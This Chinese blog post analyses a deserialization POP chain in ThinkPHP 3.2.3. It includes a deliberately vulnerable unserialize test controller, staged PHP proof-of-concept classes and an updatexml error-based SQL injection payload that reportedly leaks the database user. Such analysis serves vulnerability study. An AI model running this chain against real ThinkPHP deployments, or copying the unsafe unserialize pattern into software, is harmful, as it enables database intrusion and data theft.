Thinkphp3_x(反序列化)

Thinkphp3_x(反序列化)

版权申明:本文为原创文章,转载请注明原文出处

原文链接:http://example.com/post/9bc8e8a9.html

Thinkphp3_x(反序列化)

Thinkphp3_x(反序列化)

参考链接:ThinkPHP v3.2.* (SQL注入&文件读取)反序列化POP链 | CTF导航 (ctfiot.com)

环境

PHP5.6+Linux+ThinkPHP3.2.3

thinkphp5.0.24下载

1
composer create-project --prefer-dist topthink/think=3.2.3 tp3

接着访问 127.0.0.1/tp3 ,框架会自动生成一个默认控制器,在默认控制器下添加一个测试用的 Action 即可。

测试代码

在文件 Application/Home/Controller/IndexController.class.php 中替换为以下内容

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
namespace Home\Controller;

use Think\Controller;

class IndexController extends Controller
{
public function index()
{
$this->show('<style type="text/css">*{ padding: 0; margin: 0; } div{ padding: 4px 48px;} body{ background: #fff; font-family: "微软雅黑"; color: #333;font-size:24px} h1{ font-size: 100px; font-weight: normal; margin-bottom: 12px; } p{ line-height: 1.8em; font-size: 36px } a,a:hover{color:blue;}</style><div style="padding: 24px 48px;"> <h1>:)</h1><p>欢迎使用 <b>ThinkPHP</b>!</p><br/>版本 V{$Think.version}</div><script type="text/javascript" src="http://ad.topthink.com/Public/static/client.js"></script><thinkad id="ad_55e75dfae343f5a1"></thinkad><script type="text/javascript" src="http://tajs.qq.com/stats?sId=9347272" charset="UTF-8"></script>','utf-8');
}
public function test()
{
unserialize(base64_decode($_GET['yx']));
}
}
代码分析
寻找漏洞入口(Imagick)

首先要知道反序列化常见起点

__wakeup 一定会调用

__destruct 一定会调用

__toString 当一个对象被反序列化后又被当做字符串使用

常见跳板

__toString 当一个对象被当做字符串使用

__get 读取不可访问或不存在属性时被调用

__set 当给不可访问或不存在属性赋值时被调用

__isset 对不可访问或不存在的属性调用isset()或empty()时被调用

形如 \(this->\)func();

常见终点

__call 调用不可访问或不存在的方法时被调用

call_user_func 一般php代码执行都会选择这里

call_user_func_array 一般php代码执行都会选择这里

根据以上内容可知,漏洞入口大多在__destruct函数中,全局搜索该函数,原则是寻找可控变量足够多的函数

根据提示此处选择文件 ThinkPHP/Library/Think/Image/Driver/Imagick.class.php,选择该处的原因应该是此处的img变量是可控的

image-20240320180105453

Memcach

接着寻找可能会有漏洞的destroy函数,还是用全局搜索,这里我选择的是 ThinkPHP/Library/Think/Session/Driver/Memcache.class.php 文件里的destory函数,因为这里的 this->handle 变量也是可控的

image-20240320181454587

接下来全局搜索delete函数,这里选择的是 ThinkPHP/Library/Think/Model.class.php 文件

Model

截至到这里构造的poc如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<?php

namespace Think\Image\Driver {
use Think\Session\Driver\Memcache;
class Imagick
{
private $img;
public function __construct()
{
$this->img = new Memcache();
}
}
}
namespace Think\Session\Driver {
use Think\Model;
class Memcache
{
protected $handle = null;

public function __construct()
{
$this->handle = new Model();
}
}
}
namespace Think {
class Model
{

}
}

以下是添加注释后的delete函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
class Model
{
protected $db = null;
// 主键名称
protected $pk = 'id';
// 数据信息
protected $data = array();
// 查询表达式参数
protected $options = array();
public function getPk()
{
return $this->pk;
}
/**
* 删除记录
*
* @param array|int|string $options 删除操作的条件,可以是一个数组、整数或字符串
* @return int|false 成功删除的记录数,如果操作失败则返回false
*/
public function delete($options = array())
{
$pk = $this->getPk(); // 获取主键字段名

// 如果$options为空且当前对象的$options['where']也为空,则删除当前数据对象所对应的记录
if (empty($options) && empty($this->options['where'])) {
if (!empty($this->data) && isset($this->data[$pk])) {
return $this->delete($this->data[$pk]); // 递归调用delete方法删除指定主键的记录
} else {
return false; // 当前数据对象没有主键值或$options为空,操作失败,返回false
}
}

if (is_numeric($options) || is_string($options)) {
// 根据主键删除记录
if (strpos($options, ',')) {
$where[$pk] = array('IN', $options);
} else {
$where[$pk] = $options;
}
$options = array(); // 清空$options数组
$options['where'] = $where; // 将主键条件设置为$options['where']
}

// 根据复合主键删除记录
if (is_array($options) && (count($options) > 0) && is_array($pk)) {
$count = 0;
foreach (array_keys($options) as $key) {
if (is_int($key)) {
$count++;
}
}
if (count($pk) == $count) {
$i = 0;
foreach ($pk as $field) {
$where[$field] = $options[$i]; // 设置复合主键条件
unset($options[$i++]); // 删除$options数组中对应的主键条件
}
$options['where'] = $where; // 将复合主键条件设置为$options['where']
} else {
return false; // 复合主键条件不匹配,操作失败,返回false
}
}

// 分析表达式
$options = $this->_parseOptions($options);

if (empty($options['where'])) {
// 如果条件为空,则不进行删除操作,除非设置为 1=1
return false; // 操作失败,返回false
}

if (is_array($options['where']) && isset($options['where'][$pk])) {
$pkValue = $options['where'][$pk]; // 获取主键值
}

if (false === $this->_before_delete($options)) {
return false; // _before_delete返回false,操作失败,返回false
}

$result = $this->db->delete($options); // 调用数据库操作对象的delete方法执行删除操作
if (false !== $result && is_numeric($result)) {
$data = array();
if (isset($pkValue)) {
$data[$pk] = $pkValue; // 将主键值添加到$data数组
}

$this->_after_delete($data, $options); // 调用_after_delete方法执行删除后的操作
}

// 返回删除记录个数
return $result; // 返回成功删除的记录数
}
}

首先粗略确认options是可控的,因此猜测558行的delete函数可以成为漏洞点,因为此处的db变量也是可控的

image-20240320183406820

mysql(Driver为抽象类)

在文件 ThinkPHP/Library/Think/Db/Driver.class.php 中,可以看到是通过拼接的方式生成sql语句,因此只要options构造成功,此处的sql语句就可利用

image-20240320183656547

lz尝试逆向构造,因为这里执行的是delete方法,所以尝试报错注入,后面看到对where进行了拼接,因此想办法让where后面加上 '1=updatexml(1,concat(0x7e,database(),0x7e),1)#' 实现报错注入,并且这里调用了parseWhere函数,该函数的功能是将查询条件,可以是字符串或数组转变为解析后的 WHERE 子句,并在前面加上where,因此就可以判断我们只需要让 $options['where']='1=updatexml(1,concat(0x7e,database(),0x7e),1)#'

现在先返回前面Model类的destory函数中,最开始传进来的options变量为空,因此我们需要想办法执行509行的函数实现自行构造参数,因此 $this->data 变量就需要自己构造,将 $this->data[pk] 构造成我们想要的内容,那关于Model的poc应该大概如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
namespace Think {
use Think\Db\Driver\Mysql;
class Model
{
protected $db = null;
// 主键名称
protected $pk = 'id';
// 数据信息
protected $data = array();
// 查询表达式参数
protected $options = array();
public function __construct()
{
$this->db = new mysql();
$this->data=[
'id'=>[
'where'=>'1=updatexml(1,concat(0x7e,(select user()),0x7e),1)',
'table'=>'users'
]
];
}
}
}

最后成功显示了用户名

image-20240320191402040

Thinkphp3_x(反序列化)

http://example.com/post/9bc8e8a9.html

Author

yyyyyyxnp

Posted on

2024-03-20

Updated on

2024-09-29

Licensed under

You need to set install_url to use ShareThis. Please set it in _config.yml.
You forgot to set the business or currency_code for Paypal. Please set it in _config.yml.

Comments

You forgot to set the shortname for Disqus. Please set it in _config.yml.